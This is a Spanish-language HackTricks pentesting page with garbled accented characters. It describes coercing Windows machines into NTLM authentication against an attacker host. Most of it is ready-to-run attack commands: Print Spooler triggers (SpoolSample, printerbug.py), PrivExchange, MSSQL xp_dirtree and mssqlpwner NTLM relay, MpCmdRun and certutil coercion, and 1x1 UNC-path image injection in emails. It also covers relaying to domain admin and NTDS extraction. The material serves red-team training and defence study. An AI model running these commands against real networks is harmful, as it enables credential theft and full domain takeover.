Forzar la Autenticaci贸n Privilegiada NTLM
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
SharpSystemTriggers
SharpSystemTriggers es una colecci贸n de disparadores de autenticaci贸n remota codificados en C# utilizando el compilador MIDL para evitar dependencias de terceros.
Abuso del Servicio de Spooler
Si el servicio Print Spooler est谩 habilitado, puedes usar algunas credenciales de AD ya conocidas para solicitar al servidor de impresi贸n del Controlador de Dominio una actualizaci贸n sobre nuevos trabajos de impresi贸n y simplemente indicarle que env铆e la notificaci贸n a alg煤n sistema.
Ten en cuenta que cuando la impresora env铆a la notificaci贸n a sistemas arbitrarios, necesita autenticarse contra ese sistema. Por lo tanto, un atacante puede hacer que el servicio Print Spooler se autentique contra un sistema arbitrario, y el servicio utilizar谩 la cuenta de computadora en esta autenticaci贸n.
Encontrar Servidores Windows en el dominio
Usando PowerShell, obt茅n una lista de m谩quinas Windows. Los servidores suelen ser prioridad, as铆 que enfoqu茅monos all铆:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Encontrar servicios de Spooler escuchando
Usando una versi贸n ligeramente modificada de @mysmartlogin (Vincent Le Toux) SpoolerScanner, verifica si el Servicio de Spooler est谩 escuchando:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Tambi茅n puedes usar rpcdump.py en Linux y buscar el protocolo MS-RPRN.
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
Pida al servicio que se autentique contra un host arbitrario
Puede compilar SpoolSample desde aqu铆.
SpoolSample.exe <TARGET> <RESPONDERIP>
o usa dementor.py de 3xocyte o printerbug.py si est谩s en Linux
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Combinando con Delegaci贸n No Restringida
Si un atacante ya ha comprometido una computadora con Delegaci贸n No Restringida, el atacante podr铆a hacer que la impresora se autentique contra esta computadora. Debido a la delegaci贸n no restringida, el TGT de la cuenta de computadora de la impresora ser谩 guardado en la memoria de la computadora con delegaci贸n no restringida. Como el atacante ya ha comprometido este host, podr谩 recuperar este ticket y abusar de 茅l (Pass the Ticket).
Autenticaci贸n Forzada RCP
{% embed url="https://github.com/p0dalirius/Coercer" %}
PrivExchange
El ataque PrivExchange
es el resultado de un defecto encontrado en la funci贸n PushSubscription
del Exchange Server. Esta funci贸n permite que el servidor de Exchange sea forzado por cualquier usuario de dominio con un buz贸n para autenticarse en cualquier host proporcionado por el cliente a trav茅s de HTTP.
Por defecto, el servicio de Exchange se ejecuta como SYSTEM y se le otorgan privilegios excesivos (espec铆ficamente, tiene privilegios WriteDacl en el dominio antes de la Actualizaci贸n Acumulativa de 2019). Este defecto puede ser explotado para habilitar el reenv铆o de informaci贸n a LDAP y posteriormente extraer la base de datos NTDS del dominio. En casos donde el reenv铆o a LDAP no es posible, este defecto a煤n puede ser utilizado para reenviar y autenticarse en otros hosts dentro del dominio. La explotaci贸n exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada.
Dentro de Windows
Si ya est谩s dentro de la m谩quina Windows, puedes forzar a Windows a conectarse a un servidor utilizando cuentas privilegiadas con:
Defender MpCmdRun
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
MSSQL
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
O utiliza esta otra t茅cnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
Certutil
Es posible usar certutil.exe lolbin (binario firmado por Microsoft) para forzar la autenticaci贸n NTLM:
certutil.exe -syncwithWU \\127.0.0.1\share
Inyecci贸n HTML
A trav茅s de correo electr贸nico
Si conoces la direcci贸n de correo electr贸nico del usuario que inicia sesi贸n en una m谩quina que deseas comprometer, podr铆as simplemente enviarle un correo electr贸nico con una imagen de 1x1 como
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
y cuando lo abra, intentar谩 autenticarse.
MitM
Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una p谩gina que 茅l visualizar谩, podr铆as intentar inyectar una imagen como la siguiente en la p谩gina:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
Cracking NTLMv1
Si puedes capturar los desaf铆os de NTLMv1 lee aqu铆 c贸mo crackearlos.
&#xNAN;Recuerda que para crackear NTLMv1 necesitas establecer el desaf铆o de Responder a "1122334455667788"
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.